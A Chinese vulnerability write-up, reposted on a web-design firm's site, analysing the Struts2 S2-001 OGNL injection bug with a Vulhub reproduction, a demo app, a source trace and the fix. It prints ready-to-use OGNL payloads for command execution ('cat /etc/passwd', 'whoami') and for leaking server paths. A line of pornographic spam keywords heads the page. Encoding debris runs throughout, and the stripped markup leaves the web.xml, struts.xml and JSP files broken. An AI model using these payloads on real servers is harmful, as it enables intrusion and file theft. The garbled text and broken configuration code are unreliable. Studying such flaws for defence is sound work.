真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯網站制作重慶分公司

struts2漏洞S2-001實例分析

這期內容當中小編將會給大家?guī)碛嘘Pstruts2漏洞 S2-001實例分析,文章內容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

創(chuàng)新互聯建站是專業(yè)的新興網站建設公司,新興接單;提供成都做網站、成都網站設計,網頁設計,網站設計,建網站,PHP網站建設等專業(yè)做網站服務;采用PHP框架,可快速的進行新興網站開發(fā)網頁制作和功能擴展;專業(yè)做搜索引擎喜愛的網站,專業(yè)的做網站團隊,希望更多企業(yè)前來合作!

Vulhub漏洞系列:struts2漏洞 S2-001

1.漏洞描述:

struts2漏洞 S2-001是當用戶提交表單數據且驗證失敗時,服務器使用OGNL表達式解析用戶先前提交的參數值,%{value}并重新填充相應的表單數據。例如,在注冊或登錄頁面中。如果提交失敗,則服務器通常默認情況下將返回先前提交的數據。由于服務器用于%{value}對提交的數據執(zhí)行OGNL表達式解析,因此服務器可以直接發(fā)送有效載荷來執(zhí)行命令。

2.vulhub漏洞利用:

用vulhub復現漏洞可以省去環(huán)境的搭建過程,相當方便。

vulhub官網地址:https://vulhub.org

struts2漏洞 S2-001實例分析struts2漏洞 S2-001實例分析

啟動漏洞環(huán)境。

docker-compsoe up -d

輸入測試的payload

%{1+1}

struts2漏洞 S2-001實例分析可以看到我們的加法表達式成功執(zhí)行了。

struts2漏洞 S2-001實例分析

這次我們試一試命令執(zhí)行,new java.lang.String[ {"cat","/etc/passwd"} 在這里更改我們想要執(zhí)行的命令。

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[ {"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

struts2漏洞 S2-001實例分析成功的讀取到了passwd文件。

struts2漏洞 S2-001實例分析

下面給出三條利用語句:

獲取tomcat路徑
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
獲取web路徑
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
命令執(zhí)行
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

3.搭建環(huán)境

平臺:win10

工具:Apache Tomcat 9.0.7,IntelliJ IDEA

下載IntelliJ IDE之后我們選擇免費試用一個月,接下來創(chuàng)建我們的項目。

struts2漏洞 S2-001實例分析這個是搭建完成后的效果,下邊所有創(chuàng)建添加的jar包或者修改的文件都按照這個格式進行。

struts2漏洞 S2-001實例分析目錄結構如下。

struts2漏洞 S2-001實例分析

需要如下幾個包,下載地址:

http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip

解壓完之后,我們把lib目錄下對應的jar包導入到我們在項目中創(chuàng)建的lib目錄中。

struts2漏洞 S2-001實例分析

struts2漏洞 S2-001實例分析

接著發(fā)布我們導入的jar包,不然會報錯。

struts2漏洞 S2-001實例分析

接下來就是我們要創(chuàng)建的幾個文件,這里代碼都給出來了,直接copy就行。(注意:一定要按照前邊給出的目錄結構放置下邊的文件)

web.xml


S2-001 Examplestruts2org.apache.struts2.dispatcher.FilterDispatcherstruts2/*index.jsp

index.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>



  
  S2-001


S2-001 Demo

link: https://cwiki.apache.org/confluence/display/WW/S2-001

        

welcome.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>


S2-001


Hello 

LoginAction.java

package com.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
    private String username = null;
    private String password = null;

    public String getUsername() {
        return this.username;
    }

    public String getPassword() {
        return this.password;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String execute() throws Exception {
        if ((this.username.isEmpty()) || (this.password.isEmpty())) {
            return "error";
        }
        if ((this.username.equalsIgnoreCase("admin"))
                && (this.password.equals("admin"))) {
            return "success";
        }
        return "error";
    }
}

src目錄下新建struts.xml



welcome.jspindex.jsp

4.原理分析

漏洞部分代碼

xwork-2.0-beta-1.jar/com.opensymphony.xwork2/util/TextParseUtil.java

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
    Object result = expression;

    while(true) {
        int start = expression.indexOf(open + "{");
        int length = expression.length();
        int x = start + 2;
        int count = 1;

        while(start != -1 && x < length && count != 0) {
            char c = expression.charAt(x++);
            if (c == '{') {
                ++count;
            } else if (c == '}') {
                --count;
            }
        }

        int end = x - 1;
        if (start == -1 || end == -1 || count != 0) {
            return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
        }

        String var = expression.substring(start + 2, end);
        Object o = stack.findValue(var, asType);
        if (evaluator != null) {
            o = evaluator.evaluate(o);
        }

        String left = expression.substring(0, start);
        String right = expression.substring(end + 1);
        if (o != null) {
            if (TextUtils.stringSet(left)) {
                result = left + o;
            } else {
                result = o;
            }

            if (TextUtils.stringSet(right)) {
                result = result + right;
            }

            expression = left + o + right;
        } else {
            result = left + right;
            expression = left + right;
        }
    }
}

運行我們搭建好的環(huán)境,記得開啟debug模式

struts2漏洞 S2-001實例分析password處輸入我們的測試語句:%{333*666},正確結果是多少來著,待我找個計算機算一下先(手動笑哭表情)

struts2漏洞 S2-001實例分析

expression會獲取不同的參數值,我們直到其獲取到password開始分析漏洞原因。

struts2漏洞 S2-001實例分析struts2漏洞 S2-001實例分析然后這次的判斷跳過了中間的return,為啥會跳過return呢?因為這里的password內容任然是一個ognl表達式所以會再次進入循環(huán),接著這里取出%{password}中間的值password賦給var。struts2漏洞 S2-001實例分析在解析完%{password}表達式之后要獲取其中的內容password進行展示,也就是我們這里的%{333*666}

struts2漏洞 S2-001實例分析然后這次的判斷同樣也會跳過中間的return,為啥會跳過return呢?因為這里的password內容依然是一個ognl表達式所以會再次進入循環(huán),接著這里取出%{333*666}中間的值333*666賦給var。

struts2漏洞 S2-001實例分析

然后通過Object o = stack.findValue(var, asType)獲得到password的值為333*666,然后重新賦值給expression,進行下一次循環(huán)。

在這一次循環(huán)的時候,就會解析333*666,并將賦值給了o,經過計算后expression的值就變成了221788。

struts2漏洞 S2-001實例分析不是OGNL表達式時就會進入

struts2漏洞 S2-001實例分析struts2漏洞 S2-001實例分析

5.漏洞修復

判斷了循環(huán)的次數,從而在解析到%{333*666}的時候不會繼續(xù)向下遞歸,相當于限制了解析ongl的次數。

struts2漏洞 S2-001實例分析

也就不會對用戶提交的參數進行ongl解析

if (loopCount > maxLoopCount) {
    // translateVariables prevent infinite loop / expression recursive evaluation
    break;
}

6.OGNL表達式

這里搬運大佬總結好的東西。

OGNL 是 Object-Graph Navigation Language 的縮寫,它是一種功能強大的表達式語言(Expression Language,簡稱為 EL),通過它簡單一致的表達式語法,可以存取對象的任意屬性,調用對象的方法,遍歷整個對象的結構圖,實現字段類型轉化等功能。它使用相同的表達式去存取對象的屬性。 OGNL 三要素:(以下部分摘抄互聯網某處, 我覺得說得好)

1、表達式(Expression)

表達式是整個 OGNL 的核心,所有的 OGNL 操作都是針對表達式的解析后進行的。表達式會規(guī)定此次 OGNL 操作到底要干什么。我們可以看到,在上面的測試中,name、department.name 等都是表達式,表示取 name 或者 department 中的 name 的值。OGNL 支持很多類型的表達式,之后我們會看到更多。

2、根對象(Root Object)

根對象可以理解為 OGNL 的操作對象。在表達式規(guī)定了 “干什么” 以后,你還需要指定到底“對誰干”。在上面的測試代碼中,user 就是根對象。這就意味著,我們需要對 user 這個對象去取 name 這個屬性的值(對 user 這個對象去設置其中的 department 中的 name 屬性值)。

3、上下文環(huán)境(Context)

有了表達式和根對象,我們實際上已經可以使用 OGNL 的基本功能。例如,根據表達式對根對象進行取值或者設值工作。不過實際上,在 OGNL 的內部,所有的操作都會在一個特定的環(huán)境中運行,這個環(huán)境就是 OGNL 的上下文環(huán)境(Context)。說得再明白一些,就是這個上下文環(huán)境(Context),將規(guī)定 OGNL 的操作 “在哪里干”。
OGN L 的上下文環(huán)境是一個 Map 結構,稱之為 OgnlContext。上面我們提到的根對象(Root
Object),事實上也會被加入到上下文環(huán)境中去,并且這將作為一個特殊的變量進行處理,具體就表現為針對根對象(Root
Object)的存取操作的表達式是不需要增加 #符號進行區(qū)分的。

表達式功能操作清單:
1. 基本對象樹的訪問
對象樹的訪問就是通過使用點號將對象的引用串聯起來進行。
例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx2. 對容器變量的訪問
對容器變量的訪問,通過#符號加上表達式進行。
例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx3. 使用操作符號
OGNL表達式中能使用的操作符基本跟Java里的操作符一樣,除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外,還能使用 mod, in, not in等。4. 容器、數組、對象
OGNL支持對數組和ArrayList等容器的順序訪問:例如:group.users[0]
同時,OGNL支持對Map的按鍵值查找:
例如:#session['mySessionPropKey']
不僅如此,OGNL還支持容器的構造的表達式:
例如:{"green", "red", "blue"}構造一個List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}構造一個Map
你也可以通過任意類對象的構造函數進行對象新建
例如:new Java.net.URL("xxxxxx/")5. 對靜態(tài)方法或變量的訪問
要引用類的靜態(tài)方法和字段,他們的表達方式是一樣的@class@member或者@class@method(args):6. 方法調用
直接通過類似Java的方法調用方式進行,你甚至可以傳遞參數:
例如:user.getName(),group.users.size(),group.containsUser(#requestUser)7. 投影和選擇
OGNL支持類似數據庫中的投影(projection) 和選擇(selection)。
投影就是選出**中每個元素的相同屬性組成新的**,類似于關系數據庫的字段操作。投影操作語法為 collection.{XXX},其中XXX 是這個**中每個元素的公共屬性。
例如:group.userList.{username}將獲得某個group中的所有user的name的列表。
選擇就是過濾滿足selection 條件的**元素,類似于關系數據庫的紀錄操作。選擇操作的語法為:collection.{X YYY},其中X 是一個選擇操作符,后面則是選擇用的邏輯表達式。而選擇操作符有三種:
? 選擇滿足條件的所有元素
^ 選擇滿足條件的第一個元素
$ 選擇滿足條件的最后一個元素
例如:group.userList.{? #txxx.xxx != null}將獲得某個group中user的name不為空的user的列表。

上述就是小編為大家分享的struts2漏洞 S2-001實例分析了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注創(chuàng)新互聯行業(yè)資訊頻道。


本文標題:struts2漏洞S2-001實例分析
URL分享:http://weahome.cn/article/jopjpp.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部